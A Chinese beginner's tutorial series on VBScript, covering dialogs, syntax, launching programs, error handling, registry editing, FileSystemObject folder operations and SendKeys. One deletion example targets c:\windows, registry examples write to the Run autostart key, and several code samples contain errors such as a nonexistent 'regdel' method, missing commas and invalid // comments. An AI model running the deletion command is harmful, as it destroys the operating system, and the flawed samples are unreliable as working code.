—為什么要使用Vbs?
在Windows中,學(xué)習(xí)計(jì)算機(jī)操作也許很簡(jiǎn)單,但是很多計(jì)算機(jī)工作是重復(fù)性勞動(dòng),例如你每周也許需要對(duì)一些計(jì)算機(jī)文件進(jìn)行復(fù)制、粘貼、改名、刪除,也許你每天啟動(dòng)計(jì)算機(jī)第一件事情就是打開WORD,切換到你喜愛(ài)的輸入法進(jìn)行文本編輯,同時(shí)還要播放優(yōu)美的音樂(lè)給工作創(chuàng)造一個(gè)舒心的環(huán)境,當(dāng)然也有可能你經(jīng)常需要對(duì)文本中的某些數(shù)據(jù)進(jìn)行整理,把各式各樣的數(shù)據(jù)按照某種規(guī)則排列起來(lái)……。這些事情重復(fù)、瑣碎,使人容易疲勞。
第三方軟件也許可以強(qiáng)化計(jì)算機(jī)的某些功能,但是解決這些重復(fù)勞動(dòng)往往事倍功半,我也嘗試過(guò)使用計(jì)算機(jī)語(yǔ)言編寫程序來(lái)解決這些問(wèn)題,但是隨之而來(lái)的命令、語(yǔ)法、算法、系統(tǒng)框架和類庫(kù)常常讓我覺(jué)得這樣是否有必要,難道就是因?yàn)樨i毛比較難拔,所以我就要去學(xué)習(xí)機(jī)械,為自己設(shè)計(jì)一個(gè)拔豬毛機(jī)(?)嗎?
Vbs是一種Windows腳本,它的全稱是:Microsoft Visual Basic Script Editon.(微軟公司可視化BASIC腳本版),VBS是Visual Basic的的一個(gè)抽象子集,是系統(tǒng)內(nèi)置的,用它編寫的腳本代碼不能編譯成二進(jìn)制文件,直接由Windows系統(tǒng)執(zhí)行(實(shí)際是一個(gè)叫做宿主host的解釋源代碼并執(zhí)行),高效、易學(xué),但是大部分高級(jí)語(yǔ)言能干的事情,它基本上都具備,它可以使各種各樣的任務(wù)自動(dòng)化,可以使你從重復(fù)瑣碎的工作中解脫出來(lái),極大的提高工作效率。
我個(gè)人認(rèn)為Vbs腳本其實(shí)就是一種計(jì)算機(jī)編程語(yǔ)言,但是由于缺少計(jì)算機(jī)程序設(shè)計(jì)語(yǔ)言中的部分要素,對(duì)于事件的描述能力較弱,所以稱為腳本,它最方便的地方就是提供了對(duì)COM對(duì)象的簡(jiǎn)便支持。那么什么是COM對(duì)象呢?
我這樣理解,COM對(duì)象就是一些具有特定函數(shù)功能項(xiàng)程序模塊,他們一般以ocx或者dll作為擴(kuò)展名,你只要找到包含有你需要的功能的模塊文件,并在腳本中規(guī)范的引用,就可以實(shí)現(xiàn)特定的功能,也就是說(shuō)Vbs腳本就是調(diào)用現(xiàn)成的"控件"作為對(duì)象,用對(duì)象的屬性和方法實(shí)現(xiàn)目的,完全免去了編寫代碼、設(shè)計(jì)算法等等麻煩。說(shuō)白了,我不是覺(jué)得拔豬毛麻煩么?我發(fā)覺(jué)xx機(jī)(比如真空離心器)有一個(gè)功能可以實(shí)現(xiàn)脫毛,ok,我把它拿來(lái)給豬脫毛。什么?大材小用?太浪費(fèi)資源了?天哪,那是計(jì)算機(jī)芯片的事情,死道友不死貧道,反正我的事情是方便快速的解決了,這就行了。
最方便的是它甚至不需要專門的開發(fā)環(huán)境,在你的計(jì)算機(jī)中,只要有notepad,就可以編寫Vbs腳本了,并且可以直接執(zhí)行。
Vbs腳本編程簡(jiǎn)明教程之二
如何開始第一個(gè)Vbs腳本?
就像多數(shù)計(jì)算機(jī)教程一樣 ,我們從"Hello World!"程序開始我們的練習(xí)。什么?不知道是什么意思?就是說(shuō)大部分的計(jì)算機(jī)程序設(shè)計(jì)教程開篇入門都是編寫一個(gè)小程序,執(zhí)行這個(gè)程序的結(jié)果就是在計(jì)算機(jī)的屏幕上或者dos窗口中顯示一行文字:Hello World!好了,我們開始吧。
打開你的"記事本"程序,在編輯窗口填寫:
msgbox "Hello World!"
然后用鼠標(biāo)單擊"文件"菜單,單擊"保存",把"保存在"一欄設(shè)為桌面,在"文件名"一欄中填寫kk.vbs,單擊"保存"就可以了。然后最小化"記事本"窗口,在桌面上尋找你剛剛保存的kk.vbs,然后雙擊。看到彈出的對(duì)話框了沒(méi)有,單擊"確定",對(duì)話框消失了。難看了點(diǎn),不過(guò)確實(shí)是你編寫的第一個(gè)腳本程序。
說(shuō)明之一:上面的操作中,保存位置放在桌面,僅僅是為了執(zhí)行方便,你保存到其他的地方完全沒(méi)有問(wèn)題,只要你知道你保存在什么地方就可以了,什么?是廢話,自己保存的當(dāng)然知道保存在那里了。不,自己保存的文件自己找不到的人我見的多了去了。文件名你可以隨意填寫,不一定非要寫kk,只要符合Windows的文件命名規(guī)則就可以了,但是擴(kuò)展名必須是vbs,什么?不知道什么是擴(kuò)展名?就是文件名中"."后的那部分,簡(jiǎn)單說(shuō),就是vbs腳本文件命名時(shí)必須是:xxx.vbs,其中xxx你隨意。
說(shuō)明之二:在記事本編輯窗口中寫的這行是什么意思?
Msgbox是VBS內(nèi)建的函數(shù),每一個(gè)函數(shù)都可以完成一定的功能,你只需要按照語(yǔ)法要求,在函數(shù)的相應(yīng)部分填寫相應(yīng)的內(nèi)容就可以了,這部分內(nèi)容我們稱為參數(shù),當(dāng)然函數(shù)執(zhí)行的結(jié)果我們稱為返回值,一個(gè)函數(shù)可以有返回值也可以沒(méi)有,可以有參數(shù)也可以沒(méi)有。你不用了解函數(shù)是怎么運(yùn)作的,只要了解這個(gè)函數(shù)能干什么就行了。
Msgbox語(yǔ)法:msgbox "對(duì)話框內(nèi)容", , "對(duì)話框的標(biāo)題"
你不妨用記事本打開剛才的文件在編輯窗口中輸入:
msgbox "Hello World!" , , "系統(tǒng)提示"
執(zhí)行一下,看看效果和位置。
說(shuō)明之三:如果執(zhí)行失敗,看看你的標(biāo)點(diǎn)符號(hào),所有的標(biāo)點(diǎn)符號(hào)必須是在英文狀態(tài)下輸入的。當(dāng)然,這個(gè)腳本實(shí)在是太簡(jiǎn)單了,甚至連最簡(jiǎn)單的交互都沒(méi)有,所以你可以把腳本這樣修改一下:
Dim name
name=Inputbox("請(qǐng)輸入你的名字:","名稱")
Msgbox name, , "您的名字是"
保存執(zhí)行一下,看到彈出的對(duì)話框了么?填入你的名字,點(diǎn)確定,看到結(jié)果了嗎?
說(shuō)明之一:第一句是定義變量,dim是定義變量的語(yǔ)句
其格式為:dim 變量1,變量2……,
Vbs只有一種變量類型,所以不用聲明變量類型。系統(tǒng)會(huì)自動(dòng)分辨變量類型。
說(shuō)明之二:inputbox是VBS內(nèi)建的函數(shù),可以接受輸入的內(nèi)容,其語(yǔ)法格式為:
Inputbox("對(duì)話框內(nèi)容","對(duì)話框標(biāo)題")
第二句的意思是接受用戶的輸入,并把輸入結(jié)果傳遞給變量name。
好了,到此腳本基本的輸入輸出函數(shù)都有了,已經(jīng)可以完成一些比較簡(jiǎn)單的功能了,你可以編寫一個(gè)簡(jiǎn)單的腳本,然后拷貝的"程序"—>"啟動(dòng)"中,然后重新啟動(dòng)計(jì)算機(jī)看看結(jié)果
Vbs腳本編程簡(jiǎn)明教程之三
Vbs的基本語(yǔ)法(牢記)
VBScript基礎(chǔ)知識(shí)
一、變量
1、所有單引號(hào)后面的內(nèi)容都被解釋為注釋。
2、在VBScript中,變量的命名規(guī)則遵循標(biāo)準(zhǔn)的命名規(guī)則,需要注意的是:在VBScript中對(duì)變量、方法、函數(shù)和對(duì)象的引用是不區(qū)分大小寫的。在申明變量時(shí),要顯式地申明一個(gè)變量,需要使用關(guān)鍵字DIm來(lái)告訴VBScript你要?jiǎng)?chuàng)建一個(gè)變量,并將變量名稱跟在其后。申明多個(gè)同類型變量,可以用逗號(hào)分隔。注意:VBScript中不允許在申明變量的時(shí)候同時(shí)給變量賦值。但是允許在一行代碼內(nèi)同時(shí)對(duì)兩個(gè)變量進(jìn)行賦值,中間用冒號(hào)分隔。
3、你可以使用Option Explicit來(lái)告訴宿主變量必須先聲明后使用。
4、VBScript在定義時(shí)只有一種變量類型,在實(shí)際使用中需要使用類型轉(zhuǎn)換函數(shù)來(lái)將變量轉(zhuǎn)換成相應(yīng)的變量類型。
Cbool函數(shù)將變量轉(zhuǎn)換成布爾值;
Cbyte函數(shù)將變量轉(zhuǎn)換為0到255之間的整數(shù)。
Ccur函數(shù)、Cdbl函數(shù)和Csng函數(shù)將變量轉(zhuǎn)換為浮點(diǎn)數(shù)值,前者只精確到小數(shù)點(diǎn)后四位,后兩者要更加精確,數(shù)值的范圍也要大的多。
Cdate函數(shù)將變量轉(zhuǎn)換為日期值。
Cint函數(shù)和Clng函數(shù)將變量轉(zhuǎn)換為整數(shù),后者的范圍比前者要大的多。
Cstr函數(shù)將變量轉(zhuǎn)換為字符串。
二、數(shù)組
數(shù)組的定義與變量非常類似,只需要在變量后描述這個(gè)數(shù)組的個(gè)數(shù)和維數(shù)。需要注意的是:數(shù)組的下標(biāo)總是從0開始,而以數(shù)組定義中數(shù)值減一結(jié)束。也就是說(shuō)你以要定義一個(gè)有十個(gè)數(shù)據(jù)的數(shù)組,將這樣書寫代碼:dImarray(9),同樣,當(dāng)你要訪問(wèn)第五個(gè)元素時(shí),實(shí)際的代碼是array(4)。當(dāng)然,你可以通過(guò)不指定數(shù)組的個(gè)數(shù)和維數(shù)來(lái)申明動(dòng)態(tài)數(shù)組。等到數(shù)組的個(gè)數(shù)和維數(shù)固定后,使用關(guān)鍵字redim來(lái)改變數(shù)組。注意,在改變數(shù)組的大小時(shí),數(shù)組的數(shù)據(jù)會(huì)被破壞,使用關(guān)鍵字preserve來(lái)保護(hù)數(shù)據(jù)。例如:
RedIm空格preserve空格array括號(hào)個(gè)數(shù)逗號(hào)維數(shù)括號(hào)
三、操作符
在VBScript運(yùn)算符中,加減乘除都是我們常用的符號(hào),乘方使用的是 ^ ,取模使用的Mod。
在比較操作符中,等于、小于、大于、小于等于、大于等于都與我們常用的符號(hào)是一致的,而不等于是小于和大于連用。
邏輯運(yùn)算符為:和操作—>AND 非操作—>NOT 或操作—>OR;
你可以使用操作符 + 和操作符 & 來(lái)連接字符串,一般使用&操作符;
另外還有一個(gè)比較特殊的操作符Is用來(lái)比較對(duì)象,例如按鈕對(duì)象,如果對(duì)象是同一類型,結(jié)果就是真,如果對(duì)象不是同一類型,結(jié)果就是假。
四、條件語(yǔ)句主要有if……then語(yǔ)句和select case語(yǔ)句兩種形式
在if……then語(yǔ)句中,其基本形式為:
If 條件 then
處理?xiàng)l件的語(yǔ)句;
……
Endif
基本形式只能對(duì)單個(gè)條件進(jìn)行驗(yàn)證,如果有兩個(gè)條件,則需要在基本形式中添加單行語(yǔ)句else,如果還有更多的條件需要驗(yàn)證,則需要添加語(yǔ)句
Elseif 條件 then
處理?xiàng)l件語(yǔ)句
在select case語(yǔ)句中,其基本形式為:
Select case 變量
Case 條件值
處理?xiàng)l件語(yǔ)句
并對(duì)上兩句進(jìn)行重復(fù)
最后一句應(yīng)為
case else
處理語(yǔ)句
當(dāng)然不要忘記將條件結(jié)束語(yǔ)句End select放在最后一行
注意:在執(zhí)行字符串比較時(shí),需要特別注意大小寫,一般情況下,我們?cè)诒容^前,使用lcase函數(shù)將字符串轉(zhuǎn)換成小寫,使用ucase函數(shù)將字符串轉(zhuǎn)換成大寫大寫。
五、循環(huán)控制語(yǔ)句
循環(huán)控制語(yǔ)句有for……next循環(huán)、for……each循環(huán)、do……while循環(huán)、do……until循環(huán)、while循環(huán)五種形式。
在使用循環(huán)控制語(yǔ)句前,首先要對(duì)循環(huán)條件進(jìn)行判斷,如果循環(huán)次數(shù)是有固定次數(shù)的,那么使用For……next循環(huán),其結(jié)構(gòu)為:
For 計(jì)數(shù)器變量=開始計(jì)數(shù)值 to 最后計(jì)數(shù)值
執(zhí)行循環(huán)體
Next
如果是需要對(duì)數(shù)組或?qū)ο蠹现械拿恳粋€(gè)元素進(jìn)行判斷,則需要使用for……each循環(huán),其結(jié)構(gòu)為:
For each 循環(huán)計(jì)數(shù)變量 in 要查看的對(duì)象或數(shù)組
執(zhí)行處理語(yǔ)句
Next
注意:在上述兩種循環(huán)中隨時(shí)可以使用exit for來(lái)退出循環(huán)
如果你希望在條件滿足時(shí)執(zhí)行一段代碼則使用do……while語(yǔ)句,結(jié)構(gòu)為:
Do while 條件
執(zhí)行循環(huán)體
Loop
如果你希望在條件不滿足時(shí)執(zhí)行代碼,則使用do……until語(yǔ)句,結(jié)構(gòu)為:
Do until 條件
執(zhí)行循環(huán)體
Loop
當(dāng)然,在這兩種循環(huán)語(yǔ)句中,你可以使用exit do來(lái)退出循環(huán)
最后一種循環(huán)語(yǔ)句是條件滿足時(shí)一直執(zhí)行循環(huán),
While 條件
執(zhí)行循環(huán)體
Wend
六、使用過(guò)程
常用的過(guò)程有兩種,一種為函數(shù),給調(diào)用者返回值,一種為子程序,無(wú)返回值,還有一種叫事件的特殊子程序,用的比較少。
函數(shù)的基本定義方法為:
Function 函數(shù)名稱(參數(shù)列表)
函數(shù)代碼
函數(shù)名稱=某值 ‘用來(lái)返回值
end function
子程序一些都類似,不過(guò)沒(méi)有返回值
注意:盡管在定義子程序的時(shí)候,參數(shù)列表要加括號(hào),但在調(diào)用子程序的時(shí)候,參數(shù)列表不加括號(hào),括號(hào)只在函數(shù)中使用。另外,子程序不能在表達(dá)式中使用。
而函數(shù)只能出現(xiàn)在賦值語(yǔ)句的右邊,或者表達(dá)式中,函數(shù)不能直接使用,如果必須直接使用函數(shù),則必須使用call語(yǔ)句調(diào)用,并取消返回值。
Vbs腳本編程簡(jiǎn)明教程之四
如何利用Vbs運(yùn)行外部程序?
Vbs只提供了編程的一個(gè)基本框架,用戶可以使用Vbs來(lái)定義變量、過(guò)程和函數(shù),vbs也提供了一些內(nèi)部函數(shù)和對(duì)象,但是Vbs沒(méi)有提供任何命令來(lái)訪問(wèn)Windows系統(tǒng)內(nèi)部的部件,但是值得慶幸的是,Vbs雖然不能自己完成這些任務(wù),但是它提供了一條極為方便、功能也相當(dāng)強(qiáng)的命令——CreateObject,這條命令可以訪問(wèn)windows系統(tǒng)內(nèi)安裝的所有com對(duì)象,并且可以調(diào)用這些部件中存放的命令。
于是問(wèn)題解決了,比如說(shuō),我手頭有1000個(gè)小文本,我首先要對(duì)每一個(gè)文本的語(yǔ)法進(jìn)行查錯(cuò)和修改,然后按照預(yù)先定義好的規(guī)則對(duì)這些文本進(jìn)行排序,最后將這些文本合并成為一個(gè)文件。正常情況下,我們需要把打開第一個(gè)小文本,然后把它復(fù)制到WORD中,然后利用里面的除錯(cuò)功能進(jìn)行除錯(cuò)和修改,然后再導(dǎo)入到EXCEL中進(jìn)行排序,將這個(gè)過(guò)程重復(fù)1000遍,然后再將所有得到的文本復(fù)制到一個(gè)大文本中。實(shí)在是太枯燥、工作量太大了。有了Vbs和CreateObject,問(wèn)題得到解決,我只需要找到相應(yīng)的模塊,調(diào)用相應(yīng)的功能就可以了,作為腳本,把一個(gè)枯燥的過(guò)程重復(fù)1000次,本就是它的拿手好戲。
好了,我們走入正題,從最簡(jiǎn)單的——只啟動(dòng)一個(gè)程序開始。
WSH也就是用來(lái)解析Vbs的宿主,本身包含了幾個(gè)個(gè)常用對(duì)象:
1、Scripting.FileSystemObject —> 提供一整套文件系統(tǒng)操作函數(shù)
2、Scripting.Dictionary —> 用來(lái)返回存放鍵值對(duì)的字典對(duì)象
3、Wscript.Shell —> 提供一套讀取系統(tǒng)信息的函數(shù),如讀寫注冊(cè)表、查找指定文件的路徑、讀取DOS環(huán)境變量,讀取鏈接中的設(shè)置
4、Wscript.NetWork —> 提供網(wǎng)絡(luò)連接和遠(yuǎn)程打印機(jī)管理的函數(shù)。(其中,所有Scripting對(duì)象都存放在SCRRUN.DLL文件中,所有的Wscript對(duì)象都存放在WSHOM.ocx文件中。)
現(xiàn)在我們需要的是第三個(gè)對(duì)象,好了,讓我們先連接一下對(duì)象看看,在記事本的編輯窗口中輸入:
Option ExplicitDim objShellSet objShell = CreateObject("Wscript.Shell")objShell.Run "notepad"
同樣,保存執(zhí)行。那么看到了一個(gè)什么樣的結(jié)果呢?在桌面上又打開了一個(gè)記事本。
說(shuō)明之一:Set是Vbs指令,凡是將一對(duì)象引用賦給變量,就需要使用set關(guān)鍵字。那么什么是對(duì)象引用呢?凡是字符串、數(shù)值、布爾值之外的變量都是對(duì)象引用。Objshell是變量名,可以隨意修改。
說(shuō)明之二:凡是正確引用的對(duì)象,其本身內(nèi)置有函數(shù)和變量,其引用方法為在變量后加". ",后緊跟其實(shí)現(xiàn)功能的函數(shù)就可以了。Objshell.run 的意思就是調(diào)用Wscript.shell中的運(yùn)行外部程序的函數(shù)——run,notepad是記事本程序的文件名。當(dāng)然你也可以改成"calc",這是計(jì)算器的文件名,winword是word的文件名,等等吧,所有可執(zhí)行文件的文件名都可以。但是需要注意的是,如果你要執(zhí)行的可執(zhí)行文件存放的地方不是程序安裝的常用路徑,一般情況下,需要提供合法的路徑名,但是run在運(yùn)行解析時(shí),遇到空格會(huì)停止,解決的方法是使用雙引號(hào),例如:在我的機(jī)器上運(yùn)行qq,代碼為:
objshell.run """C:\Program Files\QQ2006\QQ.exe""" ‘注:三個(gè)引號(hào)
好, 我們?cè)龠M(jìn)一步,啟動(dòng)兩個(gè)程序會(huì)如何呢?
輸入如下代碼:
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "notepad"
objShell.Run "calc"
執(zhí)行會(huì)如何呢??jī)蓚€(gè)程序基本上同時(shí)啟動(dòng)了。如果我們需要先啟動(dòng)notepad再啟動(dòng)calc將如何呢?很簡(jiǎn)單在需要順序執(zhí)行的代碼后加 , , True參數(shù)就可以了。
好了輸入代碼:
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "notepad" ,,true
objShell.Run "calc"
看看執(zhí)行的結(jié)果怎么樣吧!
總結(jié):run函數(shù)有三個(gè)參數(shù),第一個(gè)參數(shù)是你要執(zhí)行的程序的路徑,第二個(gè)程序是窗口的形式,0是在后臺(tái)運(yùn)行;1表示正常運(yùn)行;2表示激活程序并且顯示為最小化;3表示激活程序并且顯示為最大化;一共有10個(gè)這樣的參數(shù)我只列出了4個(gè)最常用的。 第三個(gè)參數(shù)是表示這個(gè)腳本是等待還是繼續(xù)執(zhí)行,如果設(shè)為了true,腳本就會(huì)等待調(diào)用的程序退出后再向后執(zhí)行。
其實(shí),run做為函數(shù),前面還有一個(gè)接受返回值的變量,一般來(lái)說(shuō)如果返回為0,表示成功執(zhí)行,如果不為0,則這個(gè)返回值就是錯(cuò)誤代碼,可以通過(guò)這個(gè)代碼找出相應(yīng)的錯(cuò)誤。
Vbs腳本編程簡(jiǎn)明教程之五
錯(cuò)誤處理
引發(fā)錯(cuò)誤的原因有很多,例如用戶輸入了錯(cuò)誤類型的值,或者腳本找不到必需的文件、目錄或者驅(qū)動(dòng)器,我們可以使用循環(huán)技術(shù)來(lái)處理錯(cuò)誤,但是VBS本身也提供了一些基本技術(shù)來(lái)進(jìn)行錯(cuò)誤的檢測(cè)和處理。
1、最常見的錯(cuò)誤是運(yùn)行時(shí)錯(cuò)誤,也就是說(shuō)錯(cuò)誤在腳本正在運(yùn)行的時(shí)候發(fā)生,是腳本試圖進(jìn)行非法操作的結(jié)果。例如零被作為除數(shù)。在vbs中,任何運(yùn)行時(shí)錯(cuò)誤都是致命的,此時(shí),腳本將停止運(yùn)行,并在屏幕上顯示一個(gè)錯(cuò)誤消息。你可以在腳本的開頭添加
On Error Resume Next
這行語(yǔ)句告訴vbs在運(yùn)行時(shí)跳過(guò)發(fā)生錯(cuò)誤的語(yǔ)句,緊接著執(zhí)行跟在它后面的語(yǔ)句。
發(fā)生錯(cuò)誤時(shí),該語(yǔ)句將會(huì)把相關(guān)的錯(cuò)誤號(hào)、錯(cuò)誤描述和相關(guān)源代碼壓入錯(cuò)誤堆棧。
2、雖然On Error Resume Next語(yǔ)句可以防止vbs腳本在發(fā)生錯(cuò)誤時(shí)停止運(yùn)行,但是它并不能真正處理錯(cuò)誤,要處理錯(cuò)誤,需要在腳本中增加一些語(yǔ)句,用來(lái)檢查錯(cuò)誤條件并在錯(cuò)誤發(fā)生時(shí)處理它。
vbscript提供了一個(gè)err對(duì)象,他有兩個(gè)方法clear,raise,5個(gè)屬性:description,helpcontext,helpfile,number,source
err對(duì)象不用引用實(shí)例,可以直接使用,例如:
on error resume next
a=11
b=0
c=a/b
if err.number<>0 then
wscript.echo err.number & err.description & err.source
end if
Vbs腳本編程簡(jiǎn)明教程之六
修改注冊(cè)表
Vbs中修改注冊(cè)表的語(yǔ)句主要有:
1、讀注冊(cè)表的關(guān)鍵詞和值:
可以通過(guò)把關(guān)鍵詞的完整路徑傳遞給wshshell對(duì)象的regread方法。例如:
set ws=wscript.createobject("wscript.shell")
v=ws.regread("HKLM\Software\7-Zip\Path ")
wscript.echo v
2、寫注冊(cè)表
使用wshshell對(duì)象的regwrite方法。例子:
path="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\"
set ws=wscript.createobject("wscript.shell")
t=ws.regwrite(path & "jj","hello")
這樣就把
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\jj這個(gè)鍵值改成了hello.不過(guò)要注意:這個(gè)鍵值一定要預(yù)先存在。
如果要?jiǎng)?chuàng)建一個(gè)新的關(guān)鍵詞,同樣也是用這個(gè)方法。
path="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\run\sssa2000\love\"
set ws=wscript.createobject("wscript.shell")
val=ws.regwrite(path,"nenboy")
val=ws.regread(path)
wscript.echo val
3、刪除關(guān)鍵字和值
使用regdelete方法,把完整的路徑傳遞給regdelete就可以了
例如
val=ws.regdel(path)
注意,如果要?jiǎng)h除關(guān)鍵詞的值的話 一定要在路徑最后加上"\",如果不加斜線,就會(huì)刪除整個(gè)關(guān)鍵詞。
Vbs腳本編程簡(jiǎn)明教程之七
FSO的常見對(duì)象和方法
文件系統(tǒng)是所有操作系統(tǒng)最重要的部分之一,腳本經(jīng)常會(huì)需要對(duì)文件及文件夾進(jìn)行訪問(wèn)和管理,在Vbs中對(duì)桌面和文件系統(tǒng)進(jìn)行訪問(wèn)的頂級(jí)對(duì)象是FileSystemObject(FSO),這個(gè)對(duì)象特別復(fù)雜,是vbs進(jìn)行文件操作的核心。此節(jié)內(nèi)容應(yīng)了如指掌。
FSO包含的常見對(duì)象有:
Drive對(duì)象:包含儲(chǔ)存設(shè)備的信息,包括硬盤、光驅(qū)、ram盤、網(wǎng)絡(luò)驅(qū)動(dòng)器Drives集合:提供一個(gè)物理和邏輯驅(qū)動(dòng)器的列表 File 對(duì)象:檢查和處理文件 Files 集合:提供一個(gè)文件夾中的文件列表 Folder對(duì)象:檢查和處理文件夾 Folders集合:提供文件夾中子文件夾的列表 Textstream對(duì)象:讀寫文本文件
FSO的常見方法有:
BulidPath:把文件路徑信息添加到現(xiàn)有的文件路徑上CopyFile:復(fù)制文件CopyFolder:復(fù)制文件夾CreateFolder:創(chuàng)建文件夾CreateTextFile:創(chuàng)建文本并返回一個(gè)TextStream對(duì)象DeleteFile:刪除文件DeleteFolder:刪除文件夾及其中所有內(nèi)容DriveExits:確定驅(qū)動(dòng)器是否存在FileExits:確定一個(gè)文件是否存在FolderExists:確定某文件夾是否存在GetAbsolutePathName:返回一個(gè)文件夾或文件的絕對(duì)路徑 GetBaseName:返回一個(gè)文件或文件夾的基本路徑 GetDrive:返回一個(gè)dreve對(duì)象 GetDriveName:返回一個(gè)驅(qū)動(dòng)器的名字 GetExtensionName:返回?cái)U(kuò)展名 GetFile:返回一個(gè)file對(duì)象 GetFileName:返回文件夾中文件名稱 GetFolder:返回一個(gè)文件夾對(duì)象GetParentFolderName:返回一個(gè)文件夾的父文件夾 GetSpecialFolder:返回指向一個(gè)特殊文件夾的對(duì)象指針 GetTempName:返回一個(gè)可以被createtextfile使用的隨機(jī)產(chǎn)生的文件或文件夾的名稱 MoveFile:移動(dòng)文件MoveFolder:移動(dòng)文件夾OpenTextFile:打開一個(gè)存在的文件并返回一個(gè)TextStream對(duì)象Vbs腳本編程簡(jiǎn)明教程之八
FSO中文件夾的基本操作
1、使用fso
由于fso不是wsh的一部分,所以我們需要建立他的模型
例如set fs=wscript.createobject("scripting.filesystemobject")
這樣就建立了fso的模型。如果要釋放的話也很簡(jiǎn)單,set fs=nothing
2、使用文件夾
在創(chuàng)建前,我們一般需要檢查該文件夾是否存在例如:
dim fs,s //定義fs、s兩個(gè)變量
set fs=wscript.createobject("scripting.filesystemobject") //fs為FSO實(shí)例
if (fs.folderexists("c:\temp")) then //判斷c:\temp文件夾是否存在
s="is available"
else
s="not exist"
set foldr=fs.createfolder("c:\temp") //不存在則建立
end if
刪除:set fs=wscript.createobject("scripting.filesystemobject") fs.deletefolder("c:\windows") 拷貝: set fs=wscript.createobject("scripting.filesystemobject") fs.copyfolder "c:\data" "d:\data" 注意:如果c:\data 和d:\data都存在,腳本會(huì)出錯(cuò),復(fù)制也就會(huì)停止,如果要強(qiáng)制覆蓋,使用fs.copyfolder "c:\data" "d:\data",true 移動(dòng):set fs=wscript.createobject("scripting.filesystemobject") fs.movefolder "c:\data" "d:\data" 我們可以使用通配符,來(lái)方便操作:
例如, fs.movefolder :c:\data\te*" , "d:\working"
注意:在目的路徑最后沒(méi)有使用"\" 也就是說(shuō)我沒(méi)有這樣寫:
fs.movefolder c:\data\te*" , "d:\working\"
這樣寫的話,如果d:\working 目錄不存在,windows就不會(huì)為我們自動(dòng)創(chuàng)建這個(gè)目錄。
注意:上面我們所舉的例子都是在利用fso提供的方法,如果使用folder對(duì)象也完全是可以的:
set fs= wscript.createobject("scripting.filesystemobject") set f=fs.getfolder("c:\data") f.delete //刪除文件夾c:\data。如果有子目錄,也會(huì)被刪除 f.copy "d:\working",true //拷貝到d:\working f.move "d:\temp" //移動(dòng)到d:\temp
3、特殊文件夾
一般指的就是系統(tǒng)文件夾:\windows\system32, 臨時(shí)文件夾,windows文件夾,在前幾篇的時(shí)候,我們提過(guò)一下:例如
set fs=wscript.createobject("scripting.filesystemobject")
set wshshell=wscript.createobject("wscript.shell")
osdir=wshshell.expandenvironmentstrings("%systemroot%")
set f =fs.getfolder(osdir)
wscript.echo f
當(dāng)然,還有簡(jiǎn)單的方法 那就是使用getspecialfolder()
這個(gè)方法使用3種值:
0 表示windows文件夾,相關(guān)常量是windowsfolder
1 系統(tǒng)文件夾,相關(guān)常量是systemfolder
2 臨時(shí)目錄,相關(guān)常量temporaryfolder
例如:
set fs=wscript.createobject("scripting.filesystemobject") set wfolder=fs.getspecialfolder(0) ‘返回windows目錄 set wfolder=fs.getspecialfolder(1) ‘返回system32\ set wfolder=fs.getspecialfolder(2)'返回臨時(shí)目錄
Vbs腳本編程簡(jiǎn)明教程之九——1
妙用SendKeys簡(jiǎn)化重復(fù)操作1
每次開機(jī)的時(shí)候,你想自動(dòng)登陸你的QQ或者博客嗎?巧妙使用VBS中的SendKeys命令(這個(gè)命令的作用就是模擬鍵盤操作,將一個(gè)或多個(gè)按鍵指令發(fā)送到指定Windows窗口來(lái)控制應(yīng)用程序運(yùn)行),可以極大的方便我們的常用操作。其使用格式為:
Object.SendKeys string其中:
Object:為WshShell對(duì)象,即腳本的第一行為:
Set WshShell=WScript.CreateObject("WScript.Shell")
將Object替換為WshShell
"string":表示要發(fā)送的按鍵指令字符串,需要放在英文雙引號(hào)中。它包含如下內(nèi)容:
1.基本鍵:一般來(lái)說(shuō),要發(fā)送的按鍵指令都可以直接用該按鍵字符本身來(lái)表示,例如要發(fā)送字母"x",使用"WshShell.SendKeys "x""即可。當(dāng)然,也可直接發(fā)送多個(gè)按鍵指令,只需要將按鍵字符按順序排列在一起即可,例如,要發(fā)送按鍵"cfan",可以使用
"WshShell.SendKeys "cfan""。
2.特殊功能鍵:對(duì)于需要與Shift、Ctrl、Alt三個(gè)控制鍵組合的按鍵,SendKeys使用特殊字符來(lái)表示:Shift —— +;Ctrl —— ^;Alt —— %
如要發(fā)送的組合按鍵是同時(shí)按下Ctrl+E,需要用"WshShell.SendKeys "^e""表示,如果要發(fā)送的組合按鍵是按住Ctrl鍵的同時(shí)按下E與C兩個(gè)鍵,這時(shí)應(yīng)使用小括號(hào)把字母鍵括起來(lái),書寫格式為"WshShell.SendKeys "^(ec)"",這里要注意它與"WshShell.SendKeys "^ec""的區(qū)別,后者表示組合按鍵是同時(shí)按住Ctrl和E鍵,然后松開Ctrl鍵,單獨(dú)按下"C"字母鍵。
由于"+"、"^"這些字符用來(lái)表示特殊的控制按鍵了,如何表示這些按鍵呢?只要用大括號(hào)括住這些字符即可。例如,要發(fā)送加號(hào)"+",可使用"WshShell.SendKeys "{+}""。另外對(duì)于一些不會(huì)生成字符的控制功能按鍵,也同樣需要使用大括號(hào)括起來(lái)按鍵的名稱,例如要發(fā)送回車鍵,需要用"WshShell.SendKeys "{ENTER}""表示,發(fā)送向下的方向鍵用
"WshShell.SendKeys "{DOWN}""表示。
如果需要發(fā)送多個(gè)重復(fù)的單字母按鍵,不必重復(fù)輸入該字母,SendKeys允許使用簡(jiǎn)化格式進(jìn)行描述,使用格式為"{按鍵 數(shù)字}"。例如要發(fā)送10個(gè)字母"x",則輸入"WshShell.SendKeys "{x 10}""即可。
例一:WshShell.SendKeys "^{ESC}u"
代碼的含義為:按下Ctrl+Esc組合鍵(相當(dāng)于按Win鍵)打開"開始"菜單,接著按U鍵打開"關(guān)機(jī)"菜單。
例二:讓VBS腳本自動(dòng)在記事本中輸入一行文字"hello, welcome to cfan"。
